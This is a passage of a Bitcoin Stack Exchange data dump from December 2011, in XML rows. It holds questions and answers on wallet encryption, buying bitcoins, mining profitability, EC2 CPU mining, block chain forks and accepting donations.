Everyone, even the hoarders, suffers. I can't see how to get around this.&lt;/p&gt;&#xA;" OwnerUserId="757" LastActivityDate="2011-12-04T14:54:35.203" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2143" PostTypeId="2" ParentId="2140" CreationDate="2011-12-04T14:55:30.500" Score="3" Body="&lt;p&gt;If you are using an encrypted wallet, private keys are never written unencrypted to disk.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the 0.4.0 release (the first to feature wallet encryption) had a bug where - upon upgrading a wallet from unencrypted to encrypted - parts of the unencrypted where not necessarily overwritten, leaving them accessible for a while.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;0.4.1 and 0.5.0 fix this by first rewriting the entire wallet file upon encryption (or the first start afterwards), and invalidating the entire pool of reserve keys that was present before. This means (and has been tested), that if you start with an empty wallet, and immediately encrypt it, it will not ever use any key that was ever written to disk in unencrypted form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that wallet encryption is not a silver bullet, and an attacker may have other ways of extracting the private key, such as keyloggers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: only now I read your question correctly. The log files may contain anything that was attempted to be written to the database files themselves, and if you are using (or were using) an unencrypted wallet, that may indeed mean private keys as well. Again, if you start with an encrypted wallet in 0.5.0, no keys will be used that ever touched disk unencrypted.&lt;/p&gt;&#xA;" OwnerUserId="208" LastEditorUserId="208" LastEditDate="2011-12-04T23:24:44.670" LastActivityDate="2011-12-04T23:24:44.670" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="2144" PostTypeId="2" ParentId="541" CreationDate="2011-12-04T21:24:27.440" Score="1" Body="&lt;p&gt;I believe QR will be to BTC what paper is to cash. I even registered long ago QRBitCoins.com (and others) and am now waiting for the right project to prompt some work. I thought I should tell people in case there is any interesting on-going project that would need a good QR domain.&lt;/p&gt;&#xA;" OwnerUserId="758" LastEditorUserId="117" LastEditDate="2011-12-05T09:33:31.353" LastActivityDate="2011-12-05T09:33:31.353" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2145" PostTypeId="1" AcceptedAnswerId="2147" CreationDate="2011-12-05T07:08:33.137" Score="2" ViewCount="6619" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Possible Duplicate:&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/91/how-do-you-obtain-bitcoins&quot;&gt;How do you obtain bitcoins?&lt;/a&gt;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;I live in Europe and, because of that, I would like to buy some bitcoins with my savings &quot;just in case&quot;. I'm a student, so I'm talking about between 500 and 1000 € (it is not much money, I know).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I would like to know is a trustful website to buy bitcoins. I plan to have my wallet encrypted in my computer, so its not about the security of the wallet, but the security of the transaction. Is Mt. Gox safe? Can I buy there with euros? Can I avoid paying a fee?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm sorry if these are very basic questions, but I haven't found any similar question, and I think that newbies (like me) will appreciate it.&lt;/p&gt;&#xA;" OwnerUserId="759" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2014-05-02T17:48:01.313" Title="Best place to buy bitcoins?" Tags="|buy-bitcoins|" AnswerCount="1" CommentCount="3" ClosedDate="2011-12-05T18:51:08.900" ContentLicense="CC BY-SA 3.0" />
  <row Id="2146" PostTypeId="2" ParentId="2110" CreationDate="2011-12-05T07:32:18.997" Score="2" Body="&lt;p&gt;People who invest now are taking a big risk with their money. They aren't buying now what is guaranteed to be worth $1000 in the future; they are buying now what has a small chance of being worth $1000 in the future and a much larger chance of being worth nothing. If their dreams come true and Bitcoin does take off, that just means they were lucky. Anyone with a sufficiently aggressive portfolio is likely to make a windfall gain at some point, which will probably be all but cancelled out by losses elsewhere; this isn't &quot;unfair&quot; except insofar as chance itself is unfair.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're confident that bitcoin value will go up and people will be left behind, and that this is an unfair thing to have happen, you could always buy bitcoins now and resell them to late adopters at ridiculous bargain prices in a few years. If you think this is too risky, consider what that means for the actual expected value of bitcoins.&lt;/p&gt;&#xA;" OwnerUserId="760" LastActivityDate="2011-12-05T07:32:18.997" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2147" PostTypeId="2" ParentId="2145" CreationDate="2011-12-05T10:08:50.077" Score="2" Body="&lt;p&gt;You should generally have a look at the charts:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://bitcoincharts.com/markets/&quot; rel=&quot;nofollow&quot;&gt;http://bitcoincharts.com/markets/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A good rule of thumb to judge how much people trust a website is how large is the volume of transactions - the more, the better.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In all regards, Mt.Gox is safe, you can buy there in euros, and I don't think you can bypass the fees. If you worry about the last one, you can try finding someone willing to trade Bitcoins with you that you can trust (which can be difficult at times).&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2011-12-05T10:08:50.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2149" PostTypeId="1" CreationDate="2011-12-06T01:08:59.390" Score="3" ViewCount="527" Body="&lt;p&gt;Bitcoin wallet encryption makes sure (by encrypting the private keys with a passphrase) that someone who finds your computer or your Dropbox or your backup drive (including wallet.dat) cannot spend your coins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does this also protect my receiving addresses (which I may not want to be associated with to protect my pseudonymity, and finding them in my wallet would remove plausible deniability)? And how about the aliases I have associated to sending addresses, which might breach confidentiality with my business partners?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not, what additional steps do I need to take?&lt;/p&gt;&#xA;" OwnerUserId="238" LastEditorUserId="238" LastEditDate="2011-12-06T02:14:41.543" LastActivityDate="2011-12-06T02:14:41.543" Title="Does Bitcoin wallet encryption also protect my sending and receiving addresses?" Tags="|wallet|privacy|encryption|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2150" PostTypeId="1" AcceptedAnswerId="2152" CreationDate="2011-12-06T01:37:44.807" Score="5" ViewCount="245" Body="&lt;p&gt;Are the sending and receiving address descriptions stored in the wallet file, or as some other file managed by the Bitcoin client app? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I move or copy my wallet to a new installation of the Bitcoin client, will I still have my descriptions for my sending/receiving addresses available?&lt;/p&gt;&#xA;" OwnerUserId="516" LastActivityDate="2011-12-06T06:01:18.100" Title="Where are the receiving and sending address descriptions stored?" Tags="|wallet|receiving|sending|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2151" PostTypeId="2" ParentId="2149" CreationDate="2011-12-06T01:48:40.887" Score="2" Body="&lt;p&gt;Clearly your receiving addresses, your sending addresses and their associated aliases are readily available without the passphrase to your wallet as they are visible upon opening the Bitcoin client without entering the passphrase. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's perhaps also worth noting that even if your wallet is encrypted, a successful attacker who has a copy of your wallet could install a keystroke logger to obtain your passphrase. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would seem more likely to happen when your computer is compromised through installing a trojan etc than if someone physically found say a lost notebook PC (for which the attacker would need to install the keystroke-logging software &amp;amp; remote access software, and then give you your computer back so you would type in the passphrase next time you wanted to send coins!)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry, I don't know where the sending and receiving address descriptions are stored, so I don't know how to protect them - hopefully someone else can answer that.&lt;/p&gt;&#xA;" OwnerUserId="516" LastActivityDate="2011-12-06T01:48:40.887" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2152" PostTypeId="2" ParentId="2150" CreationDate="2011-12-06T06:01:18.100" Score="6" Body="&lt;p&gt;Yes, all of those are stored in the wallet.dat file. I myself have successfully migrated the wallet file to a new computer and have the addresses and descriptions intact.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2011-12-06T06:01:18.100" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2153" PostTypeId="1" AcceptedAnswerId="2163" CreationDate="2011-12-06T10:10:46.287" Score="7" ViewCount="514" Body="&lt;p&gt;Are there any implementations of a Bitcoin client that would run over HTTP, allowing one to communicate by, for example, sending raw message bytes as a POST?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&#xA;I'm not looking for ways to control a Bitcoin client remotely, for example telling it to send some of the coins it is holding, encrypt a wallet or the like. What I want to find is a server that takes HTTP calls and answers back similarly to how the Bitcoin client would. For example, providing its block chain, exchanging list of pending transactions, accepting signed transactions from outside, etc.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="323" LastEditDate="2011-12-06T20:33:36.277" LastActivityDate="2011-12-06T20:33:36.277" Title="Bitcoin over HTTP?" Tags="|client|alternatives|http|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2154" PostTypeId="1" CreationDate="2011-12-06T12:28:31.753" Score="10" ViewCount="4189" Body="&lt;p&gt;Why does mining profitability tend towards zero?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it different for short term miners than it is for long term miners?&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Example: if I mine now and sell them next year, they may be worth more as next year they'll be harder to mine&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="542" LastEditorUserId="5406" LastEditDate="2016-01-20T21:02:35.927" LastActivityDate="2016-01-20T21:02:35.927" Title="Why does mining profitability tend towards zero?" Tags="|mining-profitability|" AnswerCount="4" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2155" PostTypeId="2" ParentId="2154" CreationDate="2011-12-06T12:58:16.460" Score="4" Body="&lt;p&gt;This is a bit of a generalization, since mining profitability is different for different people depending on their comparative advantages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the profitability of mining is affected by the difficulty, which in turn is determined by the total hashrate of all miners. If at any time the profitability is too high, this will attract more miners causing the profitability to decrease. If it is negative, it will cause miners to quit, increasing the profitability. The result is that there will be very few untapped opportunities to profit from mining.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that the profitability is only close to 0 if all costs are considered - hardware, electricity, space, maintenance, risk and so on. Every potential miner will have his own costs/benefits analysis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The causality in your quote is reversed - if bitcoins are worth more, they will be harder to mine. (At least, if we ignore the effect of generation reward halving.)&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2011-12-06T12:58:16.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2156" PostTypeId="2" ParentId="2154" CreationDate="2011-12-06T13:32:37.357" Score="8" Body="&lt;p&gt;As with all things related to supply and demand, the market will eventually find its equilibrium, where the cost of generating the Bitoins will be close to their sale price. If the costs were bigger, less cost efficient miners would not mine. If the price was higher, there would be more room for investment that would increase the difficulty, thus increasing the cost to mine every Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to calculate how profitable mining is, just put the data into any &lt;a href=&quot;http://tpbitcalc.appspot.com/&quot;&gt;Profitability Calculator&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2011-12-06T13:32:37.357" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2158" PostTypeId="2" ParentId="1844" CreationDate="2011-12-06T14:02:07.557" Score="1" Body="&lt;p&gt;Here there are some &lt;a href=&quot;http://www.litecoinpool.org/charts#market&quot; rel=&quot;nofollow&quot;&gt;Litecoin price charts&lt;/a&gt; for a period of one week.&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2011-12-06T14:02:07.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2159" PostTypeId="2" ParentId="2154" CreationDate="2011-12-06T18:56:26.987" Score="2" Body="&lt;p&gt;The answer to your question can be found in the interplay between two independently varying factors: price and difficulty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a number of factors which play into the variance of price, and it's too complex an issue to discuss here. Perhaps you could find your answers at the new &lt;a href=&quot;https://economics.stackexchange.com/&quot;&gt;Economics StackExchange&lt;/a&gt; (in public beta).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Difficulty is much simpler to track - the more people mine (more accurately, the higher the combined hashrate of the network) the higher the difficulty climbs. When price climbs, it tends to lead difficulty, making mining profitable so long as the price continues to increase. The increased potential for profit draws more miners until eventually the difficulty rises to meet or exceed the profit point. At this point, less efficient miners begin to switch off their operations and difficulty slows or reduces once again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The equilibrium of such commodities is a well-understood economic principle based in supply and demand. Another way to think of it is that there's only so much &quot;demand&quot; for Bitcoin miners and so the &quot;supply&quot; of miners rises to meet that demand, typically overshoots a bit, then adjusts back to equilibrium like any market.&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="-1" LastEditDate="2017-04-13T12:51:38.527" LastActivityDate="2011-12-06T18:56:26.987" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2160" PostTypeId="2" ParentId="2153" CreationDate="2011-12-06T19:01:05.387" Score="1" Body="&lt;p&gt;To the best of my knowledge, there is not. I did, however (shameless plug) contribute some &lt;a href=&quot;https://github.com/bitcoin/bitcoin/tree/master/contrib/bitrpc&quot; rel=&quot;nofollow&quot;&gt;Python scripts&lt;/a&gt; to the official client a while back which could easily be coupled with Python's very simple &lt;a href=&quot;http://docs.python.org/library/basehttpserver.html&quot; rel=&quot;nofollow&quot;&gt;HTTP Server module&lt;/a&gt; to perform the tasks you're after. I know it's more of a workaround than an official in-client feature, but it should work.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2011-12-06T19:01:05.387" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2161" PostTypeId="1" AcceptedAnswerId="2175" CreationDate="2011-12-06T19:56:57.247" Score="47" ViewCount="20948" Body="&lt;p&gt;If I sell things, there are many services that allow me to accept bitcoins as payment.  But for those who simply want to accept bitcoins on their blog or other site ... as donations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A simple bitcoin address can be listed but what other options are available, such as an icon that can be clicked on, like what Flattr offers, perhaps?&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="323" LastEditDate="2012-01-12T22:48:43.127" LastActivityDate="2016-09-22T07:23:38.880" Title="How can I accept Bitcoin donations on my blog or site?" Tags="|payment|ecommerce|donation|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2163" PostTypeId="2" ParentId="2153" CreationDate="2011-12-06T20:00:03.147" Score="4" Body="&lt;p&gt;The &lt;a href=&quot;https://github.com/bitcoinjs/node-bitcoin-exit/&quot; rel=&quot;nofollow&quot;&gt;exit node&lt;/a&gt; part of &lt;a href=&quot;http://www.bitcoinjs.org/&quot; rel=&quot;nofollow&quot;&gt;BitcoinJS&lt;/a&gt; is sort of what you're looking for. Quote &lt;a href=&quot;https://github.com/bitcoinjs/node-bitcoin-exit/wiki&quot; rel=&quot;nofollow&quot;&gt;from wiki&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;There are two main ways clients can interact with exit nodes:&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;REST API – HTTPS-based asynchronous API usable with almost any&#xA;  language or platform.&lt;/li&gt;&#xA;  &lt;li&gt;Socket API – Socket-based API providing realtime&#xA;  data events via JSON-RPC and – using Socket.IO – even for pure&#xA;  browser-based clients.&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Example of using the REST API:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://exit.trucoin.com:3125/pubkeys/register?keys=1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa&quot; rel=&quot;nofollow&quot;&gt;https://exit.trucoin.com:3125/pubkeys/register?keys=1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa&lt;/a&gt;&#xA;registers a public key to get a handle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://exit.trucoin.com:3125/pubkeys/gettxs?handle=ManS6KcKCR1lpY0qCPiDOr9ej6HXQcVADFOMOGaMuD4=&quot; rel=&quot;nofollow&quot;&gt;https://exit.trucoin.com:3125/pubkeys/gettxs?handle=ManS6KcKCR1lpY0qCPiDOr9ej6HXQcVADFOMOGaMuD4=&lt;/a&gt;&#xA;uses that handle to get the transactions of the address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It should also be possible to send a transaction but that part is not very well documented.&lt;/p&gt;&#xA;" OwnerUserId="105" LastActivityDate="2011-12-06T20:00:03.147" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2165" PostTypeId="2" ParentId="2154" CreationDate="2011-12-06T21:31:33.207" Score="3" Body="&lt;p&gt;This is a loaded question, as it assumes that profitability will tend towards 0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, for any given piece of mining hardware it's almost certainly a fair assumption for the foreseeable future that it's profitability will tend towards zero. This is because, from an overall perspective, as new processing hardware is developed (improving both efficiency and processing power), the cost per hash of mining decreases. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;While this holds true, there will always be a point in time when the cost of operating a given graphics card (or other processor), with all ownership costs included, exceeds the cost of purchasing new hardware. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The most important issue for miners purchasing new hardware is whether the break even point can be reached before the hardware becomes essentially obsolete (because the costs exceed the revenue). Predicting this currently involves taking a gamble on what the future price of bitcoins will be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All this means that the profitability of mining doesn't necessarily approach zero, as long as you continue to optimise your mining equipment to maximise efficiency.&lt;/p&gt;&#xA;" OwnerUserId="516" LastEditorUserId="516" LastEditDate="2011-12-07T22:13:50.857" LastActivityDate="2011-12-07T22:13:50.857" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2166" PostTypeId="1" CreationDate="2011-12-07T00:39:01.530" Score="0" ViewCount="157" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Possible Duplicate:&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1487/what-are-namecoins&quot;&gt;What are Namecoins?&lt;/a&gt;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;It seems to me, a bitcoin newbie, that namecoin is something entirely different but has some similarities.   I would like to hear it from the bitcoin community what they think of namecoin and what it seeks to accomplish.&lt;/p&gt;&#xA;" OwnerUserId="662" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2011-12-07T01:16:31.703" Title="How does namecoin compare and contrast to bitcoin?" Tags="|currencies|namecoin|" AnswerCount="0" CommentCount="2" ClosedDate="2011-12-07T21:30:27.450" ContentLicense="CC BY-SA 3.0" />
  <row Id="2167" PostTypeId="1" AcceptedAnswerId="2168" CreationDate="2011-12-07T06:50:28.850" Score="-1" ViewCount="793" Body="&lt;p&gt;I read this: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Public-key cryptography uses key pairs, a public and a private one, that can be generated by a user at any time. As the name implies, the public key gets distributed, while the private one remains in the possession of a single person or entity. The private key is meant to be kept safe and secure by the owner. The private key can be used to sign messages such that anybody with the key pair's corresponding public key can verify with certainty that only the holder of the private key could have signed the message.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what I don't understand: someone signs a public key and gives it to me.  How do I verify that it was signed?  All I get is the public key that everyone has?&lt;/p&gt;&#xA;" OwnerUserId="662" LastActivityDate="2011-12-07T07:53:51.997" Title="How does a signed public key look different from an unsigned one?" Tags="|cryptography|" AnswerCount="1" CommentCount="2" ClosedDate="2011-12-07T19:59:41.393" ContentLicense="CC BY-SA 3.0" />
  <row Id="2168" PostTypeId="2" ParentId="2167" CreationDate="2011-12-07T07:38:21.550" Score="2" Body="&lt;p&gt;The original data isn't changed by signing (not with DSA/ECDSA, anyway). The signature function takes the original data as input and produces some additional, separate data known as the &lt;em&gt;signature&lt;/em&gt;. The verification function then takes the signature and the original data as input.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So determining whether something is signed is a job for whatever protocol you're dealing with. In PGP there are signature packets in the message format. In Bitcoin, signatures are given as input to OP_CHECKSIG in transaction scripts.&lt;/p&gt;&#xA;" OwnerUserId="403" LastEditorUserId="403" LastEditDate="2011-12-07T07:53:51.997" LastActivityDate="2011-12-07T07:53:51.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2170" PostTypeId="1" AcceptedAnswerId="2173" CreationDate="2011-12-07T11:59:52.120" Score="22" ViewCount="1866" Body="&lt;p&gt;How often do forks occur in the block chain? I'm interested in the small, one block forks that happen when two miners create a block at the similar time.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="5406" LastEditDate="2023-10-20T17:29:46.750" LastActivityDate="2023-10-20T17:29:46.750" Title="How often forks occur?" Tags="|mining-theory|blockchain-fork|stale-block|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2171" PostTypeId="2" ParentId="1725" CreationDate="2011-12-07T15:54:01.813" Score="6" Body="&lt;p&gt;First: to get transactions from all accounts, use the &quot;*&quot; wildcard.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second: Bitcoin version 0.5 includes a new listsinceblock RPC command that makes polling for new transactions more efficient.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wrote a monitorreceived patch that does an HTTP POST whenever a new block or transaction-to-or-from-your-wallet was received, but I haven't pulled it into mainline bitcoin because it would make it VERY easy for websites to do the wrong thing and treat 0-confirmation transactions as &quot;paid&quot; and because it isn't clear what (if anything) to do when block chain re-organizations happen or transactions are orphaned (double-spent).&lt;/p&gt;&#xA;" OwnerUserId="53" LastActivityDate="2011-12-07T15:54:01.813" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2172" PostTypeId="1" AcceptedAnswerId="2176" CreationDate="2011-12-07T16:03:56.620" Score="11" ViewCount="15795" Body="&lt;p&gt;I'm relatively new to Bitcoin, and am playing around with pool mining for fun.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have access to a fair amount of EC2 instances - c1.mediums - between 30 and 50 on a given day.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I already have the 'minerd' CPU miner working on a single instance, connecting to a mining pool service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Two questions about this setup:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, would running 50 c1.medium instances, each running 2 threads of 'minerd' at ~ 750 khash/sec/thread be worth it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, I assume this type of mining is allowed in a pool against a single account, but maybe it's not? I am thinking the 50 instances would all work together to increase my account's work load, but I may be misunderstanding a fundamental part of Bitcoin mining.&lt;/p&gt;&#xA;" OwnerUserId="767" LastEditorUserId="5406" LastEditDate="2016-01-23T12:52:42.897" LastActivityDate="2016-01-23T12:52:42.897" Title="CPU Mining with a large EC2 cluster - worth the effort?" Tags="|mining-pools|cpu-mining|" AnswerCount="3" CommentCount="0" ClosedDate="2015-11-07T18:15:13.687" ContentLicense="CC BY-SA 3.0" />
  <row Id="2173" PostTypeId="2" ParentId="2170" CreationDate="2011-12-07T16:06:49.470" Score="6" Body="&lt;p&gt;Blocks are orphaned once in a while, roughly every few hundred blocks:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blockchain.info/orphaned-blocks&quot; rel=&quot;nofollow&quot;&gt;http://blockchain.info/orphaned-blocks&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There used to be a &lt;a href=&quot;http://blockexplorer.com/&quot; rel=&quot;nofollow&quot;&gt;blockexplorer&lt;/a&gt;-provided list of chain reorganizations which can occur upon such events (might become available again someday):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blockexplorer.com/q/reorglog&quot; rel=&quot;nofollow&quot;&gt;http://blockexplorer.com/q/reorglog&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These chain reorgs used to happen a few times per month.&lt;/p&gt;&#xA;" OwnerUserId="132" LastEditorUserId="132" LastEditDate="2013-11-26T19:30:47.373" LastActivityDate="2013-11-26T19:30:47.373" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="2174" PostTypeId="2" ParentId="2172" CreationDate="2011-12-07T16:47:28.017" Score="0" Body="&lt;p&gt;As with all types of endeavour, you have to see if your earnings are bigger than your costs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you  have access to those instances for free, you just have to figure out if your time to set everything up is worth it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should put your numbers in a profitability calculator, like this one:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://tpbitcalc.appspot.com/&quot; rel=&quot;nofollow&quot;&gt;http://tpbitcalc.appspot.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But from what I can see, you have under 100 MHash/sec in total, which would net you about 0.1 Bitcoins per day of continuous mining. Probably not worth the effort.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for the pooled mining - the whole concept of it is that a lot of smaller miners contribute to solving a block. Mining with 50 or more machines is totally acceptable, but might be a bit of a work to get everything set up.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2011-12-07T16:47:28.017" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2175" PostTypeId="2" ParentId="2161" CreationDate="2011-12-07T17:15:43.303" Score="21" Body="&lt;p&gt;Although bloggers could turn to an external service to manage this for them, it might be more beneficial to simply offer a simple QR code with a description alongside. This would mean that all of the income from the BTCs would go direct to the blogger.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My personal blog has &lt;a href=&quot;http://gary-rowe.com/agilestack/2012/01/09/how-to-accept-bitcoins-on-your-blog-with-no-code/&quot;&gt;an article describing in detail how to do this&lt;/a&gt;. I'm not trying to plug anything honestly, just sharing knowledge. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This can be imaged with a Bitcoin wallet, or dragged like a Bitcoin swatch onto the Multibit client. A simple click will trigger a protocol handler within the browser (if installed) that would activate an wallet plugin.&lt;/p&gt;&#xA;" OwnerUserId="117" LastEditorUserId="117" LastEditDate="2012-01-26T10:33:52.297" LastActivityDate="2012-01-26T10:33:52.297" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="2176" PostTypeId="2" ParentId="2172" CreationDate="2011-12-07T18:14:13.443" Score="5" Body="&lt;p&gt;CPU mining for Bitcoins is almost never worthwhile since the advent of GPU mining. If your EC2 instances are free you're welcome to try but there's a better alternative.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A decent CPU won't get you but 3-5 MH/s of Bitcoin mining power, which at &lt;a href=&quot;http://blockexplorer.sytes.net/chain/Litecoin&quot; rel=&quot;nofollow&quot;&gt;current difficulty&lt;/a&gt; and &lt;a href=&quot;https://vircurex.com/welcome/index?base=ltc&amp;amp;alt=btc&quot; rel=&quot;nofollow&quot;&gt;exchange rates&lt;/a&gt; will net you about 0.0046 BTC per day (worth about a penny at &lt;a href=&quot;http://mtgoxlive.com/orders&quot; rel=&quot;nofollow&quot;&gt;current rates&lt;/a&gt;). On the other hand, that same CPU will net you perhaps 3 kH/s of mining power on one of the sCrypt based forks, I'll use Litecoin (LTC) for this example. Mining LTC on that same CPU will net you about 3.06 LTC per day which, at current exchange rates, will net you about 0.0153 BTC, worth about 4.5 cents per day. It's still not a lot, but at present CPU mining on CPU-friendly forks is much more profitable than CPU mining Bitcoin directly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for whether your 50 c1.medium instances would be worthwhile, if (for the sake of easy math) we assume each can produce somewhere in the neighborhood of 2 kH/s of Litecoin mining (decent guess, a 1 MH/s BTC CPU tends to put out about 1 kH/s on sCrypt based variants) then that's a combined 100 kH/s worth about 102 LTC per day, 0.51 BTC per day, or about $1.53 per day. Since I'm assuming the cost of 50 c1.medium instances is more than $76.50 per month, I don't think it would be worthwhile for dedicated mining. If, on the other hand, you already pay for these instances for other purposes and the addition of mining is essentially &quot;free&quot; then an extra $76.50 (or 25.58 BTC) per month isn't too bad.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, yes, all fifty of your instances could work together on a single account in a mining pool. This is so common it actually has nomenclature: each of the running instances would be called a &quot;worker&quot; and while some pools allow you to create many workers, that's really just for your own stat tracking and isn't necessary at all. Each instance can certainly submit shares under the same account without error.&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2011-12-07T20:20:17.747" LastActivityDate="2011-12-07T20:20:17.747" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
